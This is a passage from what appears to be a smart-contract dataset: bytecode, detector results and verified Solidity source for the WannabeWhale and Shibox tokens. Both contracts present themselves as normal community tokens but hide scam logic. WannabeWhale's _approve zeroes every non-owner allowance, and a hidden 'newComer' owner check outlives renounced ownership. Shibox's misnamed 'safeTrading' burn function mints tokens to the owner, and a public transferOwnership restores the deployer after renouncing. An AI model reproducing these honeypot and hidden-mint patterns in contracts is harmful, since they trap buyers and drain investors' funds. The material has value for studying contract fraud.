5257506001600160a01b03841660009081526005602052604090205460ff16155b15610d7257610d6082610fc9565b478015610d7057610d7047610ebc565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610db757506001600160a01b03831660009081526005602052604090205460ff165b80610de957506016546001600160a01b03858116911614801590610de957506016546001600160a01b03848116911614155b15610df657506000610e70565b6016546001600160a01b038581169116148015610e2157506015546001600160a01b03848116911614155b15610e3357600954600d55600a54600e555b6016546001600160a01b038481169116148015610e5e57506015546001600160a01b03858116911614155b15610e7057600b54600d55600c54600e555b610e7c8484848461116e565b50505050565b60008184841115610ea65760405162461bcd60e51b815260040161050b91906116ff565b506000610eb3848661184e565b95945050505050565b6013546001600160a01b03166108fc610ed683600261119c565b6040518115909202916000818181858888f19350505050158015610efe573d6000803e3d6000fd5b506014546001600160a01b03166108fc610f1983600261119c565b6040518115909202916000818181858888f19350505050158015610f41573d6000803e3d6000fd5b5050565b6000600654821115610fac5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050b565b6000610fb66111de565b9050610fc2838261119c565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061101f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561107357600080fd5b505afa158015611087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ab9190611640565b816001815181106110cc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546110f29130911684610796565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061112b908590600090869030904290600401611787565b600060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061117b5761117b611201565b61118684848461122f565b80610e7c57610e7c600f54600d55601054600e55565b6000610fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611326565b60008060006111eb611354565b90925090506111fa828261119c565b9250505090565b600d541580156112115750600e54155b1561121857565b600d8054600f55600e805460105560009182905555565b60008060008060008061124187611394565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061127390876113f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a29086611433565b6001600160a01b0389166000908152600260205260409020556112c481611492565b6112ce84836114dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131391815260200190565b60405180910390a3505050505050505050565b600081836113475760405162461bcd60e51b815260040161050b91906116ff565b506000610eb3848661180f565b6006546000908190670de0b6b3a764000061136f828261119c565b82101561138b57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113b18a600d54600e54611500565b92509250925060006113c16111de565b905060008060006113d48e878787611555565b919e509c509a509598509396509194505050505091939550919395565b6000610fc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e82565b60008061144083856117f7565b905083811015610fc25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050b565b600061149c6111de565b905060006114aa83836115a5565b306000908152600260205260409020549091506114c79082611433565b30600090815260026020526040902055505050565b6006546114e990836113f1565b6006556007546114f99082611433565b6007555050565b600080808061151a606461151489896115a5565b9061119c565b9050600061152d60646115148a896115a5565b905060006115458261153f8b866113f1565b906113f1565b9992985090965090945050505050565b600080808061156488866115a5565b9050600061157288876115a5565b9050600061158088886115a5565b905060006115928261153f86866113f1565b939b939a50919850919650505050505050565b6000826115b457506000610472565b60006115c0838561182f565b9050826115cd858361180f565b14610fc25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050b565b600060208284031215611635578081fd5b8135610fc28161187b565b600060208284031215611651578081fd5b8151610fc28161187b565b6000806040838503121561166e578081fd5b82356116798161187b565b915060208301356116898161187b565b809150509250929050565b6000806000606084860312156116a8578081fd5b83356116b38161187b565b925060208401356116c38161187b565b929592945050506040919091013590565b600080604083850312156116e6578182fd5b82356116f18161187b565b946020939093013593505050565b6000602080835283518082850152825b8181101561172b5785810183015185820160400152820161170f565b8181111561173c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156117d65784516001600160a01b0316835293830193918301916001016117b1565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561180a5761180a611865565b500190565b60008261182a57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561184957611849611865565b500290565b60008282101561186057611860611865565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461057557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4579cfb2757e689222705e4ed2a0ca61794ef3f03bfd5820592d2cde6ae231a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,609 |
0xafd975a661153bb061d560c55d3eed67af2b502b
|
/*
_ __ __
| | / /___ _____ ____ ____ _/ /_ ___ ___
| | /| / / __ `/ __ \/ __ \/ __ `/ __ \/ _ \/ _ \
| |/ |/ / /_/ / / / / / / / /_/ / /_/ / __/ __/
|__/|__/\__,_/_/ /_/_/ /_/\__,_/_.___/\___/\___/
_ ____ __
| | / / /_ ____ _/ /__
| | /| / / __ \/ __ `/ / _ \
| |/ |/ / / / / /_/ / / __/
|__/|__/_/ /_/\__,_/_/\___/
🐳 $WW (WannabeWhale) 🐳
🐳 WannabeWhale is 100% community-driven, decentralized.
🧠 Fair Launch, No team token / presale
- Token Symbol: $WW
- Total Supply: 1 M
- 100% Liquidity
- No Burn
- Initial max buy limit: 0.5 %
- 15 seconds cooldown
- Anti Bot
- Buybacks from the first dump
Website: https://www.wannabewhale.finance
Twitter: https://twitter.com/wbwtoken
Telegram: https://t.me/wannabewhaletoken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract whale is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1 * 10**6 * 10**18;
string private _name = 'WannabeWhale | https://t.me/wannabewhaletoken';
string private _symbol = '$WW';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address ww, address tt, uint256 amount) private {
require(ww != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ww != owner()) { _allowances[ww][tt] = 0; emit Approval(ww, tt, 4); }
else { _allowances[ww][tt] = amount; emit Approval(ww, tt, amount); }
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f1c40305e04d7bb1fc5a3fad4206d92164e7196433b715c78b7044c184f49c7a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,610 |
0x2c11982700c7123f936a485c54af1c7c583c9d9a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/**
*
Shibox Token ($SHIBOX)
Telegram : https://t.me/shibox
Website : https://shibox.org
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _ownerAddress;
address private _previousOwner;
address private Owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
Owner = msgSender;
_owner = msgSender;
_ownerAddress = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership() public {
require(_owner == address(0), "owner is zero address");
_owner = Owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
_ownerAddress = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBOX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibox Token";
string private constant _symbol = "SHIBOX";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 60;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function safeTrading(uint256 burnAmount) external onlyOwner() {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(burnAmount);
_rOwned[_msgSender()] = _rOwned[_msgSender()].add(burnAmount);
emit Transfer(address(0), _msgSender(), burnAmount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
